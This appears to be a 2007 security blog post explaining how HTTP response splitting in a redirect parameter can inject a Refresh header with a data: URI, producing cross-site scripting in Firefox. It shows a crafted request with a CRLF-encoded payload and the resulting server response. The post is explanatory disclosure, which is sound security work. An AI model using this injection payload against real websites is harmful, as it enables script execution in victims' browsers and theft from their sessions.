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Thursday, November 01, 2007, 23:29

HTTP Response Splitting and Data: URI scheme in Firefox

After having read Pdp's point of view about data: uri scheme on Firefox, here's another reason why Mozillla developers should stop propagating data uri to the initiating parent site.

It is known that Meta Http-equiv='Refresh' tag could be exploited to inject javascript using data:.
It's also known that Refresh is a Http header and that it has security matters as clearly explained by Amit Klein.
By taking all these stuff together, it will result that Http Response Splitting, could be used to inject Refresh: header and directly XSS the redirecting site.
Let's suppose there's a redirection on example.com which acts like the following:

GET /redirect.jsp?redir=http:// spamsite. com HTTP/1.0

HTTP/1.1 302 Found
Date: Thu, 01 Nov 2007 21:40:23 GMT
Location: http:// spamsite. com
Transfer-Encoding: chunked
Content-Type: text/html

In case this script also suffers from a Http Response Splitting, an attacker could easily inject Refresh: with data: uri.

GET /redirect.jsp?redir=data:blah%0aRefresh:+0%3b+url%3ddata:text/html%3b,<script>js</script> HTTP/1.0

HTTP/1.1 302 Found
Date: Thu, 01 Nov 2007 21:40:23 GMT
Location: data:blah
Refresh: 0; url=data:text/html;,<script>js</script>
Transfer-Encoding: chunked
Content-Type: text/html

Firefox will happily execute it in the context of the redirector.


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